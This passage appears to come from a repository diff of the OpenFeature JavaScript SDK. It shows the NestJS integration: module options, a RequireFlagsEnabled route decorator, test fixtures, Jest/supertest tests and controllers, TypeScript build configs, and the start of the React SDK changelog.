useValue: options?.contextFactory,
};
nestProviders.push(contextFactoryProvider);
if (useGlobalInterceptor) {
const interceptorProvider: ClassProvider = {
provide: APP_INTERCEPTOR,
useClass: EvaluationContextInterceptor,
};
nestProviders.push(interceptorProvider);
}
return {
global: true,
module: OpenFeatureModule,
providers: nestProviders,
exports: [...clientValueProviders, ContextFactoryToken],
};
}
}
/**
* Options for the {@link OpenFeatureModule}.
*/
export interface OpenFeatureModuleOptions {
/**
* The provider to be set as OpenFeature default provider.
* @see {@link OpenFeature#setProvider}
*/
defaultProvider?: Provider;
/**
* Domain scoped providers to set to OpenFeature.
* @see {@link OpenFeature#setProvider}
*/
providers?: {
[domain: string]: Provider;
};
/**
* Global {@link Logger} for OpenFeature.
* @see {@link OpenFeature#setLogger}
*/
logger?: Logger;
/**
* Global {@link EvaluationContext} for OpenFeature.
* @see {@link OpenFeature#setContext}
*/
context?: EvaluationContext;
/**
* Global {@link Hook Hooks} for OpenFeature.
* @see {@link OpenFeature#addHooks}
*/
hooks?: Hook[];
/**
* Global {@link EventHandler EventHandlers} for OpenFeature.
* @see {@link OpenFeature#addHandler}
*/
handlers?: [ServerProviderEvents, EventHandler][];
/**
* The {@link ContextFactory} for creating an {@link EvaluationContext} from Nest {@link ExecutionContext} information.
* This could be header values of a request or something similar.
* The context is automatically used for all feature flag evaluations during this request.
* @see {@link AsyncLocalStorageTransactionContextPropagator}
*/
contextFactory?: ContextFactory;
/**
* If set to false, the global {@link EvaluationContextInterceptor} is disabled.
* This means that automatic propagation of the {@link EvaluationContext} created by the {@link this#contextFactory} is not working.
*
* To enable it again for specific routes, the interceptor can be added for specific controllers or request handlers like seen below:
* ```typescript
* @Controller()
* @UseInterceptors(EvaluationContextInterceptor)
* export class Controller {}
* ```
* @default true
*/
useGlobalInterceptor?: boolean;
}
/**
* Returns an injection token for a (domain scoped) OpenFeature client.
* @param {string} domain The domain of the OpenFeature client.
* @returns {Client} The injection token.
*/
export function getOpenFeatureClientToken(domain?: string): string {
return domain ? `OpenFeatureClient_${domain}` : 'OpenFeatureClient_default';
}

View File

@ -0,0 +1,104 @@
import type { CallHandler, ExecutionContext, HttpException, NestInterceptor } from '@nestjs/common';
import { applyDecorators, mixin, NotFoundException, UseInterceptors } from '@nestjs/common';
import { getClientForEvaluation } from './utils';
import type { EvaluationContext } from '@openfeature/server-sdk';
import type { ContextFactory } from './context-factory';
type RequiredFlag = {
flagKey: string;
defaultValue?: boolean;
};
/**
* Options for using one or more Boolean feature flags to control access to a Controller or Route.
*/
interface RequireFlagsEnabledProps {
/**
* The key and default value of the feature flag.
* @see {@link Client#getBooleanValue}
*/
flags: RequiredFlag[];
/**
* The exception to throw if any of the required feature flags are not enabled.
* Defaults to a 404 Not Found exception.
* @see {@link HttpException}
* @default new NotFoundException(`Cannot ${req.method} ${req.url}`)
*/
exception?: HttpException;
/**
* The domain of the OpenFeature client, if a domain scoped client should be used.
* @see {@link OpenFeature#getClient}
*/
domain?: string;
/**
* The {@link EvaluationContext} for evaluating the feature flag.
* @see {@link OpenFeature#setContext}
*/
context?: EvaluationContext;
/**
* A factory function for creating an OpenFeature {@link EvaluationContext} from Nest {@link ExecutionContext}.
* For example, this can be used to get header info from an HTTP request or information from a gRPC call to be used in the {@link EvaluationContext}.
* @see {@link ContextFactory}
*/
contextFactory?: ContextFactory;
}
/**
* Controller or Route permissions handler decorator.
*
* Requires that the given feature flags are enabled for the request to be processed, else throws an exception.
*
* For example:
* ```typescript
* @RequireFlagsEnabled({
* flags: [ // Required, an array of Boolean flags to check, with optional default values (defaults to false)
* { flagKey: 'flagName' },
* { flagKey: 'flagName2', defaultValue: true },
* ],
* exception: new ForbiddenException(), // Optional, defaults to a 404 Not Found Exception
* domain: 'my-domain', // Optional, defaults to the default OpenFeature Client
* context: { // Optional, defaults to the global OpenFeature Context
* targetingKey: 'user-id',
* },
* contextFactory: (context: ExecutionContext) => { // Optional, defaults to the global OpenFeature Context. Takes precedence over the context option.
* return {
* targetingKey: context.switchToHttp().getRequest().headers['x-user-id'],
* };
* },
* })
* @Get('/')
* public async handleGetRequest()
* ```
* @param {RequireFlagsEnabledProps} props The options for injecting the feature flag.
* @returns {ClassDecorator & MethodDecorator} The decorator that can be used to require Boolean Feature Flags to be enabled for a controller or a specific route.
*/
export const RequireFlagsEnabled = (props: RequireFlagsEnabledProps): ClassDecorator & MethodDecorator =>
applyDecorators(UseInterceptors(FlagsEnabledInterceptor(props)));
const FlagsEnabledInterceptor = (props: RequireFlagsEnabledProps) => {
class FlagsEnabledInterceptor implements NestInterceptor {
constructor() {}
async intercept(context: ExecutionContext, next: CallHandler) {
const req = context.switchToHttp().getRequest();
const evaluationContext = props.contextFactory ? await props.contextFactory(context) : props.context;
const client = getClientForEvaluation(props.domain, evaluationContext);
for (const flag of props.flags) {
const endpointAccessible = await client.getBooleanValue(flag.flagKey, flag.defaultValue ?? false);
if (!endpointAccessible) {
throw props.exception || new NotFoundException(`Cannot ${req.method} ${req.url}`);
}
}
return next.handle();
}
}
return mixin(FlagsEnabledInterceptor);
};

View File

@ -0,0 +1,10 @@
import type { OnApplicationShutdown } from '@nestjs/common';
import { Injectable } from '@nestjs/common';
import { OpenFeature } from '@openfeature/server-sdk';
@Injectable()
export class ShutdownService implements OnApplicationShutdown {
async onApplicationShutdown() {
await OpenFeature.close();
}
}

View File

@ -0,0 +1,12 @@
import type { Client, EvaluationContext } from '@openfeature/server-sdk';
import { OpenFeature } from '@openfeature/server-sdk';
/**
* Returns a domain scoped or the default OpenFeature client with the given context.
* @param {string} domain The domain of the OpenFeature client.
* @param {EvaluationContext} context The evaluation context of the client.
* @returns {Client} The OpenFeature client.
*/
export function getClientForEvaluation(domain?: string, context?: EvaluationContext) {
return domain ? OpenFeature.getClient(domain, context) : OpenFeature.getClient(context);
}

View File

@ -0,0 +1,85 @@
import { InMemoryProvider } from '@openfeature/server-sdk';
import type { EvaluationContext } from '@openfeature/server-sdk';
import type { ExecutionContext } from '@nestjs/common';
import { OpenFeatureModule } from '../src';
export const defaultProvider = new InMemoryProvider({
testBooleanFlag: {
defaultVariant: 'default',
variants: { default: true },
disabled: false,
},
testStringFlag: {
defaultVariant: 'default',
variants: { default: 'expected-string-value-default' },
disabled: false,
},
testNumberFlag: {
defaultVariant: 'default',
variants: { default: 10 },
disabled: false,
},
testObjectFlag: {
defaultVariant: 'default',
variants: { default: { client: 'default' } },
disabled: false,
},
testBooleanFlag2: {
defaultVariant: 'default',
variants: { default: false, enabled: true },
disabled: false,
contextEvaluator: (ctx: EvaluationContext) => {
if (ctx.targetingKey === '123') {
return 'enabled';
}
return 'default';
},
},
});
export const providers = {
domainScopedClient: new InMemoryProvider({
testBooleanFlag: {
defaultVariant: 'default',
variants: { default: true },
disabled: false,
},
testStringFlag: {
defaultVariant: 'default',
variants: { default: 'expected-string-value-scoped' },
disabled: false,
},
testNumberFlag: {
defaultVariant: 'default',
variants: { default: 10 },
disabled: false,
},
testObjectFlag: {
defaultVariant: 'default',
variants: { default: { client: 'scoped' } },
disabled: false,
},
}),
};
export const exampleContextFactory = async (context: ExecutionContext) => {
const request = await context.switchToHttp().getRequest();
const userId = request.header('x-user-id');
if (userId) {
return {
targetingKey: userId,
};
}
return undefined;
};
export const getOpenFeatureDefaultTestModule = () => {
return OpenFeatureModule.forRoot({
contextFactory: exampleContextFactory,
defaultProvider,
providers,
});
};

View File

@ -0,0 +1,251 @@
import type { TestingModule } from '@nestjs/testing';
import { Test } from '@nestjs/testing';
import type { INestApplication } from '@nestjs/common';
import supertest from 'supertest';
import {
OpenFeatureController,
OpenFeatureContextScopedController,
OpenFeatureRequireFlagsEnabledController,
OpenFeatureTestService,
} from './test-app';
import { exampleContextFactory, getOpenFeatureDefaultTestModule } from './fixtures';
import { OpenFeatureModule } from '../src';
import { defaultProvider, providers } from './fixtures';
describe('OpenFeature SDK', () => {
describe('With global context interceptor', () => {
let moduleRef: TestingModule;
let app: INestApplication;
beforeAll(async () => {
moduleRef = await Test.createTestingModule({
imports: [getOpenFeatureDefaultTestModule()],
providers: [OpenFeatureTestService],
controllers: [OpenFeatureController, OpenFeatureRequireFlagsEnabledController],
}).compile();
app = moduleRef.createNestApplication();
app = await app.init();
});
afterAll(async () => {
await moduleRef.close();
});
describe('openfeature client decorator', () => {
it('should inject the correct open feature clients', async () => {
const testService = moduleRef.get(OpenFeatureTestService);
expect(testService.defaultClient).toBeDefined();
expect(await testService.defaultClient.getStringValue('testStringFlag', 'wrong-value')).toEqual(
'expected-string-value-default',
);
expect(testService.domainScopedClient).toBeDefined();
expect(await testService.domainScopedClient.getStringValue('testStringFlag', 'wrong-value')).toEqual(
'expected-string-value-scoped',
);
});
});
describe('feature flag decorators', () => {
it('should inject the correct boolean feature flag evaluation details', async () => {
const testService = app.get(OpenFeatureTestService);
const testServiceSpy = jest.spyOn(testService, 'serviceMethod');
await supertest(app.getHttpServer()).get('/boolean').expect(200).expect('true');
expect(testServiceSpy).toHaveBeenCalledWith({
flagKey: 'testBooleanFlag',
flagMetadata: {},
reason: 'STATIC',
value: true,
variant: 'default',
});
});
it('should inject the correct string feature flag evaluation details', async () => {
const testService = app.get(OpenFeatureTestService);
const testServiceSpy = jest.spyOn(testService, 'serviceMethod');
await supertest(app.getHttpServer()).get('/string').expect(200).expect('expected-string-value-default');
expect(testServiceSpy).toHaveBeenCalledWith({
flagKey: 'testStringFlag',
flagMetadata: {},
reason: 'STATIC',
value: 'expected-string-value-default',
variant: 'default',
});
});
it('should inject the correct number feature flag evaluation details', async () => {
const testService = app.get(OpenFeatureTestService);
const testServiceSpy = jest.spyOn(testService, 'serviceMethod');
await supertest(app.getHttpServer()).get('/number').expect(200).expect('10');
expect(testServiceSpy).toHaveBeenCalledWith({
flagKey: 'testNumberFlag',
flagMetadata: {},
reason: 'STATIC',
value: 10,
variant: 'default',
});
});
it('should inject the correct object feature flag evaluation details', async () => {
const testService = app.get(OpenFeatureTestService);
const testServiceSpy = jest.spyOn(testService, 'serviceMethod');
await supertest(app.getHttpServer()).get('/object').expect(200).expect({ client: 'default' });
expect(testServiceSpy).toHaveBeenCalledWith({
flagKey: 'testObjectFlag',
flagMetadata: {},
reason: 'STATIC',
value: { client: 'default' },
variant: 'default',
});
});
it('should use the execution context from contextFactory', async () => {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer()).get('/dynamic-context').set('x-user-id', '123').expect(200).expect('true');
expect(evaluationSpy).toHaveBeenCalledWith('testBooleanFlag', false, { targetingKey: '123' }, {});
});
});
describe('evaluation context service should', () => {
it('inject the evaluation context from contex factory', async function () {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer())
.get('/dynamic-context-in-service')
.set('x-user-id', 'dynamic-user')
.expect(200)
.expect('true');
expect(evaluationSpy).toHaveBeenCalledWith('testBooleanFlag', false, { targetingKey: 'dynamic-user' }, {});
});
});
describe('require flags enabled decorator', () => {
describe('OpenFeatureController', () => {
it('should sucessfully return the response if the flag is enabled', async () => {
await supertest(app.getHttpServer()).get('/flags-enabled').expect(200).expect('Get Boolean Flag Success!');
});
it('should throw an exception if the flag is disabled', async () => {
jest.spyOn(defaultProvider, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer()).get('/flags-enabled').expect(404);
});
it('should throw a custom exception if the flag is disabled', async () => {
jest.spyOn(defaultProvider, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer()).get('/flags-enabled-custom-exception').expect(403);
});
it('should throw a custom exception if the flag is disabled with context', async () => {
await supertest(app.getHttpServer())
.get('/flags-enabled-custom-exception-with-context')
.set('x-user-id', '123')
.expect(403);
});
});
describe('OpenFeatureControllerRequireFlagsEnabled', () => {
it('should allow access to the RequireFlagsEnabled controller with global context interceptor', async () => {
await supertest(app.getHttpServer())
.get('/require-flags-enabled')
.set('x-user-id', '123')
.expect(200)
.expect('Hello, world!');
});
it('should throw a 403 - Forbidden exception if user does not match targeting requirements', async () => {
await supertest(app.getHttpServer()).get('/require-flags-enabled').set('x-user-id', 'not-123').expect(403);
});
it('should throw a 403 - Forbidden exception if one of the flags is disabled', async () => {
jest.spyOn(defaultProvider, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer()).get('/require-flags-enabled').set('x-user-id', '123').expect(403);
});
});
});
});
describe('Without global context interceptor', () => {
let moduleRef: TestingModule;
let app: INestApplication;
beforeAll(async () => {
moduleRef = await Test.createTestingModule({
imports: [
OpenFeatureModule.forRoot({
contextFactory: exampleContextFactory,
defaultProvider,
providers,
useGlobalInterceptor: false,
}),
],
providers: [OpenFeatureTestService],
controllers: [OpenFeatureController, OpenFeatureContextScopedController],
}).compile();
app = moduleRef.createNestApplication();
app = await app.init();
});
afterAll(async () => {
await moduleRef.close();
});
it('should not use context if global context interceptor is not configured', async () => {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer()).get('/dynamic-context').set('x-user-id', '123').expect(200).expect('true');
expect(evaluationSpy).toHaveBeenCalledWith('testBooleanFlag', false, {}, {});
});
describe('evaluation context service should', () => {
it('inject empty context if no context interceptor is configured', async function () {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer())
.get('/dynamic-context-in-service')
.set('x-user-id', 'dynamic-user')
.expect(200)
.expect('true');
expect(evaluationSpy).toHaveBeenCalledWith('testBooleanFlag', false, {}, {});
});
});
describe('With Controller bound Context interceptor', () => {
it('should not use context if global context interceptor is not configured', async () => {
const evaluationSpy = jest.spyOn(defaultProvider, 'resolveBooleanEvaluation');
await supertest(app.getHttpServer())
.get('/controller-context')
.set('x-user-id', '123')
.expect(200)
.expect('true');
expect(evaluationSpy).toHaveBeenCalledWith('testBooleanFlag', false, { targetingKey: '123' }, {});
});
});
describe('require flags enabled decorator', () => {
it('should return a 404 - Not Found exception if the flag is disabled', async () => {
jest.spyOn(providers.domainScopedClient, 'resolveBooleanEvaluation').mockResolvedValueOnce({
value: false,
reason: 'DISABLED',
});
await supertest(app.getHttpServer())
.get('/controller-context/flags-enabled')
.set('x-user-id', '123')
.expect(404);
});
});
});
});

View File

@ -0,0 +1,94 @@
import type { TestingModule } from '@nestjs/testing';
import { Test } from '@nestjs/testing';
import { getOpenFeatureClientToken, OpenFeatureModule, ServerProviderEvents } from '../src';
import type { Client} from '@openfeature/server-sdk';
import { OpenFeature } from '@openfeature/server-sdk';
import { getOpenFeatureDefaultTestModule } from './fixtures';
describe('OpenFeatureModule', () => {
let moduleRef: TestingModule;
describe('client injection', () => {
beforeAll(async () => {
moduleRef = await Test.createTestingModule({
imports: [getOpenFeatureDefaultTestModule()],
}).compile();
});
afterAll(async () => {
await moduleRef.close();
});
describe('without configured providers', () => {
let moduleWithoutProvidersRef: TestingModule;
beforeAll(async () => {
moduleWithoutProvidersRef = await Test.createTestingModule({
imports: [OpenFeatureModule.forRoot({})],
}).compile();
});
afterAll(async () => {
await moduleWithoutProvidersRef.close();
});
it('should return the SDKs default provider and not throw', async () => {
expect(() => {
moduleWithoutProvidersRef.get<Client>(getOpenFeatureClientToken());
}).not.toThrow();
});
});
it('should return the default provider', async () => {
const client = moduleRef.get<Client>(getOpenFeatureClientToken());
expect(client).toBeDefined();
expect(await client.getStringValue('testStringFlag', '')).toEqual('expected-string-value-default');
});
it('should inject the client with the given scope', async () => {
const client = moduleRef.get<Client>(getOpenFeatureClientToken('domainScopedClient'));
expect(client).toBeDefined();
expect(await client.getStringValue('testStringFlag', '')).toEqual('expected-string-value-scoped');
});
});
describe('handlers', () => {
let moduleWithoutProvidersRef: TestingModule;
const handlerSpy = jest.fn();
beforeAll(async () => {
moduleWithoutProvidersRef = await Test.createTestingModule({
imports: [OpenFeatureModule.forRoot({ handlers: [[ServerProviderEvents.Ready, handlerSpy]] })],
}).compile();
});
it('should add event handlers to OpenFeature', async () => {
expect(OpenFeature.getHandlers(ServerProviderEvents.ConfigurationChanged)).toHaveLength(0);
expect(OpenFeature.getHandlers(ServerProviderEvents.Stale)).toHaveLength(0);
expect(OpenFeature.getHandlers(ServerProviderEvents.Error)).toHaveLength(0);
expect(OpenFeature.getHandlers(ServerProviderEvents.Ready)).toHaveLength(1);
});
afterAll(async () => {
await moduleWithoutProvidersRef.close();
});
});
describe('hooks', () => {
let moduleWithoutProvidersRef: TestingModule;
const hook = { before: jest.fn() };
beforeAll(async () => {
moduleWithoutProvidersRef = await Test.createTestingModule({
imports: [OpenFeatureModule.forRoot({ hooks: [hook] })],
}).compile();
});
it('should add hooks to OpenFeature', async () => {
expect(OpenFeature.getHooks()).toEqual([hook]);
});
afterAll(async () => {
await moduleWithoutProvidersRef.close();
});
});
});

View File

@ -0,0 +1,163 @@
import { Controller, ForbiddenException, Get, Injectable, UseInterceptors } from '@nestjs/common';
import type { Observable } from 'rxjs';
import { map } from 'rxjs';
import {
BooleanFeatureFlag,
ObjectFeatureFlag,
NumberFeatureFlag,
OpenFeatureClient,
StringFeatureFlag,
RequireFlagsEnabled,
} from '../src';
import type { Client, EvaluationDetails, FlagValue } from '@openfeature/server-sdk';
import { EvaluationContextInterceptor } from '../src';
@Injectable()
export class OpenFeatureTestService {
constructor(
@OpenFeatureClient() public defaultClient: Client,
@OpenFeatureClient({ domain: 'domainScopedClient' }) public domainScopedClient: Client,
) {}
public async serviceMethod(flag: EvaluationDetails<FlagValue>) {
return flag.value;
}
public async serviceMethodWithDynamicContext(flagKey: string): Promise<boolean> {
return this.defaultClient.getBooleanValue(flagKey, false);
}
}
@Controller()
export class OpenFeatureController {
constructor(private testService: OpenFeatureTestService) {}
@Get('/welcome')
public async welcome(
@BooleanFeatureFlag({ flagKey: 'testBooleanFlag', defaultValue: false })
feature: Observable<EvaluationDetails<boolean>>,
) {
return feature.pipe(
map((details) =>
details.value ? 'Welcome to this OpenFeature-enabled Nest.js app!' : 'Welcome to this Nest.js app!',
),
);
}
@Get('/boolean')
public async handleBooleanRequest(
@BooleanFeatureFlag({ flagKey: 'testBooleanFlag', defaultValue: false })
feature: Observable<EvaluationDetails<boolean>>,
) {
return feature.pipe(map((details) => this.testService.serviceMethod(details)));
}
@Get('/string')
public async handleStringRequest(
@StringFeatureFlag({ flagKey: 'testStringFlag', defaultValue: 'default-value' })
feature: Observable<EvaluationDetails<string>>,
) {
return feature.pipe(map((details) => this.testService.serviceMethod(details)));
}
@Get('/number')
public async handleNumberRequest(
@NumberFeatureFlag({ flagKey: 'testNumberFlag', defaultValue: 0 })
feature: Observable<EvaluationDetails<number>>,
) {
return feature.pipe(map((details) => this.testService.serviceMethod(details)));
}
@Get('/object')
public async handleObjectRequest(
@ObjectFeatureFlag({ flagKey: 'testObjectFlag', defaultValue: {} })
feature: Observable<EvaluationDetails<number>>,
) {
return feature.pipe(map((details) => this.testService.serviceMethod(details)));
}
@Get('/dynamic-context')
public async handleDynamicContextRequest(
@BooleanFeatureFlag({
flagKey: 'testBooleanFlag',
defaultValue: false,
})
feature: Observable<EvaluationDetails<number>>,
) {
return feature.pipe(map((details) => this.testService.serviceMethod(details)));
}
@Get('/dynamic-context-in-service')
public async handleDynamicContextInServiceRequest() {
return this.testService.serviceMethodWithDynamicContext('testBooleanFlag');
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag' }],
})
@Get('/flags-enabled')
public async handleGuardedBooleanRequest() {
return 'Get Boolean Flag Success!';
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag' }],
exception: new ForbiddenException(),
})
@Get('/flags-enabled-custom-exception')
public async handleBooleanRequestWithCustomException() {
return 'Get Boolean Flag Success!';
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag2' }],
exception: new ForbiddenException(),
context: {
targetingKey: 'user-id',
},
})
@Get('/flags-enabled-custom-exception-with-context')
public async handleBooleanRequestWithCustomExceptionAndContext() {
return 'Get Boolean Flag Success!';
}
}
@Controller()
@UseInterceptors(EvaluationContextInterceptor)
export class OpenFeatureContextScopedController {
constructor(private testService: OpenFeatureTestService) {}
@Get('/controller-context')
public async handleDynamicContextRequest(
@BooleanFeatureFlag({
flagKey: 'testBooleanFlag',
defaultValue: false,
})
feature: Observable<EvaluationDetails<number>>,
) {
return feature.pipe(map((details) => this.testService.serviceMethod(details)));
}
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag' }],
domain: 'domainScopedClient',
})
@Get('/controller-context/flags-enabled')
public async handleBooleanRequest() {
return 'Get Boolean Flag Success!';
}
}
@Controller('require-flags-enabled')
@RequireFlagsEnabled({
flags: [{ flagKey: 'testBooleanFlag', defaultValue: false }, { flagKey: 'testBooleanFlag2' }],
exception: new ForbiddenException(),
})
export class OpenFeatureRequireFlagsEnabledController {
constructor() {}
@Get('/')
public async handleGetRequest() {
return 'Hello, world!';
}
}

120
packages/nest/tsconfig.json Normal file
View File

@ -0,0 +1,120 @@
{
"compilerOptions": {
/* Visit https://aka.ms/tsconfig.json to read more about this file */
/* Projects */
// "incremental": true, /* Enable incremental compilation */
// "composite": true, /* Enable constraints that allow a TypeScript project to be used with project references. */
// "tsBuildInfoFile": "./", /* Specify the folder for .tsbuildinfo incremental compilation files. */
// "disableSourceOfProjectReferenceRedirect": true, /* Disable preferring source files instead of declaration files when referencing composite projects */
// "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */
// "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */
/* Language and Environment */
"target": "ES2015",
/* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */
"lib": [
"ES2015"
],
/* Specify a set of bundled library declaration files that describe the target runtime environment. */
// "jsx": "preserve", /* Specify what JSX code is generated. */
"experimentalDecorators": true,
/* Enable experimental support for TC39 stage 2 draft decorators. */
"emitDecoratorMetadata": true,
/* Emit design-type metadata for decorated declarations in source files. */
// "jsxFactory": "", /* Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h' */
// "jsxFragmentFactory": "", /* Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'. */
// "jsxImportSource": "", /* Specify module specifier used to import the JSX factory functions when using `jsx: react-jsx*`.` */
// "reactNamespace": "", /* Specify the object invoked for `createElement`. This only applies when targeting `react` JSX emit. */
// "noLib": true, /* Disable including any library files, including the default lib.d.ts. */
// "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */
/* Modules */
"module": "ES2015",
/* Specify what module code is generated. */
// "rootDir": "./", /* Specify the root folder within your source files. */
"moduleResolution": "node",
/* Specify how TypeScript looks up a file from a given module specifier. */
// "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */
// "paths": {}, /* Specify a set of entries that re-map imports to additional lookup locations. */
// "rootDirs": [], /* Allow multiple folders to be treated as one when resolving modules. */
// "typeRoots": [], /* Specify multiple folders that act like `./node_modules/@types`. */
// "types": [], /* Specify type package names to be included without being referenced in a source file. */
// "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */
// "resolveJsonModule": true, /* Enable importing .json files */
// "noResolve": true, /* Disallow `import`s, `require`s or `<reference>`s from expanding the number of files TypeScript should add to a project. */
/* JavaScript Support */
// "allowJs": true, /* Allow JavaScript files to be a part of your program. Use the `checkJS` option to get errors from these files. */
// "checkJs": true, /* Enable error reporting in type-checked JavaScript files. */
// "maxNodeModuleJsDepth": 1, /* Specify the maximum folder depth used for checking JavaScript files from `node_modules`. Only applicable with `allowJs`. */
/* Emit */
"declaration": true,
/* Generate .d.ts files from TypeScript and JavaScript files in your project. */
// "declarationMap": true, /* Create sourcemaps for d.ts files. */
// "emitDeclarationOnly": true, /* Only output d.ts files and not JavaScript files. */
// "sourceMap": true, /* Create source map files for emitted JavaScript files. */
// "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If `declaration` is true, also designates a file that bundles all .d.ts output. */
"outDir": "./dist/esm",
/* Specify an output folder for all emitted files. */
// "removeComments": true, /* Disable emitting comments. */
// "noEmit": true, /* Disable emitting files from a compilation. */
// "importHelpers": true, /* Allow importing helper functions from tslib once per project, instead of including them per-file. */
// "importsNotUsedAsValues": "remove", /* Specify emit/checking behavior for imports that are only used for types */
// "downlevelIteration": true, /* Emit more compliant, but verbose and less performant JavaScript for iteration. */
// "sourceRoot": "", /* Specify the root path for debuggers to find the reference source code. */
// "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */
// "inlineSourceMap": true, /* Include sourcemap files inside the emitted JavaScript. */
// "inlineSources": true, /* Include source code in the sourcemaps inside the emitted JavaScript. */
// "emitBOM": true, /* Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files. */
// "newLine": "crlf", /* Set the newline character for emitting files. */
"stripInternal": true, /* Disable emitting declarations that have `@internal` in their JSDoc comments. */
// "noEmitHelpers": true, /* Disable generating custom helper functions like `__extends` in compiled output. */
// "noEmitOnError": true, /* Disable emitting files if any type checking errors are reported. */
// "preserveConstEnums": true, /* Disable erasing `const enum` declarations in generated code. */
"declarationDir": "./dist/types",
/* Specify the output directory for generated declaration files. */
// "preserveValueImports": true, /* Preserve unused imported values in the JavaScript output that would otherwise be removed. */
/* Interop Constraints */
// "isolatedModules": true, /* Ensure that each file can be safely transpiled without relying on other imports. */
// "allowSyntheticDefaultImports": true, /* Allow 'import x from y' when a module doesn't have a default export. */
"esModuleInterop": true,
/* Emit additional JavaScript to ease support for importing CommonJS modules. This enables `allowSyntheticDefaultImports` for type compatibility. */
// "preserveSymlinks": true, /* Disable resolving symlinks to their realpath. This correlates to the same flag in node. */
"forceConsistentCasingInFileNames": true,
/* Ensure that casing is correct in imports. */
/* Type Checking */
"strict": true,
/* Enable all strict type-checking options. */
// "noImplicitAny": true, /* Enable error reporting for expressions and declarations with an implied `any` type.. */
// "strictNullChecks": true, /* When type checking, take into account `null` and `undefined`. */
// "strictFunctionTypes": true, /* When assigning functions, check to ensure parameters and the return values are subtype-compatible. */
// "strictBindCallApply": true, /* Check that the arguments for `bind`, `call`, and `apply` methods match the original function. */
// "strictPropertyInitialization": true, /* Check for class properties that are declared but not set in the constructor. */
// "noImplicitThis": true, /* Enable error reporting when `this` is given the type `any`. */
// "useUnknownInCatchVariables": true, /* Type catch clause variables as 'unknown' instead of 'any'. */
// "alwaysStrict": true, /* Ensure 'use strict' is always emitted. */
// "noUnusedLocals": true, /* Enable error reporting when a local variables aren't read. */
// "noUnusedParameters": true, /* Raise an error when a function parameter isn't read */
// "exactOptionalPropertyTypes": true, /* Interpret optional property types as written, rather than adding 'undefined'. */
// "noImplicitReturns": true, /* Enable error reporting for codepaths that do not explicitly return in a function. */
// "noFallthroughCasesInSwitch": true, /* Enable error reporting for fallthrough cases in switch statements. */
// "noUncheckedIndexedAccess": true, /* Include 'undefined' in index signature results */
// "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an override modifier. */
// "noPropertyAccessFromIndexSignature": true, /* Enforces using indexed accessors for keys declared using an indexed type */
// "allowUnusedLabels": true, /* Disable error reporting for unused labels. */
// "allowUnreachableCode": true, /* Disable error reporting for unreachable code. */
/* Completeness */
// "skipDefaultLibCheck": true, /* Skip type checking .d.ts files that are included with TypeScript. */
"skipLibCheck": true,
/* Skip type checking all .d.ts files. */
"resolveJsonModule": true,
"paths": {
"@openfeature/core": [ "../shared/src" ],
"@openfeature/server-sdk": [ "../server/src" ]
}
},
"include": [
"./src/**/*"
],
"exclude": [
"node_modules",
"**/*.test.js"
]
}

View File

@ -0,0 +1,6 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"paths": {}
}
}

View File

@ -0,0 +1,12 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"outDir": "./dist/tests",
"types": ["jest", "node"],
"rootDir": ".",
"resolveJsonModule": true,
},
"include": [
"./test/**/*"
]
}

View File

@ -0,0 +1,8 @@
{
"$schema": "https://typedoc.org/schema.json",
"name": "@openfeature/nestjs-sdk",
"includeVersion": true,
"entryPoints": [
"src/index.ts",
]
}

316
packages/react/CHANGELOG.md Normal file
View File

@ -0,0 +1,316 @@
# Changelog
## [1.0.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v1.0.0...react-sdk-v1.0.1) (2025-08-18)
### 🐛 Bug Fixes
* **react:** re-evaluate flags on re-render to detect silent provider … ([#1226](https://github.com/open-feature/js-sdk/issues/1226)) ([3105595](https://github.com/open-feature/js-sdk/commit/31055959265a53f52102590f54fa3168811ec678))
## [1.0.0](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.11...react-sdk-v1.0.0) (2025-04-14)
### ✨ New Features
* add polyfill for react use hook ([#1157](https://github.com/open-feature/js-sdk/issues/1157)) ([5afe61f](https://github.com/open-feature/js-sdk/commit/5afe61f9e351b037b04c93a1d81aee8016756748))
* add support for abort controllers to event handlers ([#1151](https://github.com/open-feature/js-sdk/issues/1151)) ([6a22483](https://github.com/open-feature/js-sdk/commit/6a224830fa4e62fc30a7802536f6f6fc3f772038))
## [0.4.11](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.10...react-sdk-v0.4.11) (2025-02-07)
### ✨ New Features
* export useOpenFeatureClientStatus hook ([#1082](https://github.com/open-feature/js-sdk/issues/1082)) ([4a6b860](https://github.com/open-feature/js-sdk/commit/4a6b8605444edeaf43355713357fecb97dd850b6))
### 🧹 Chore
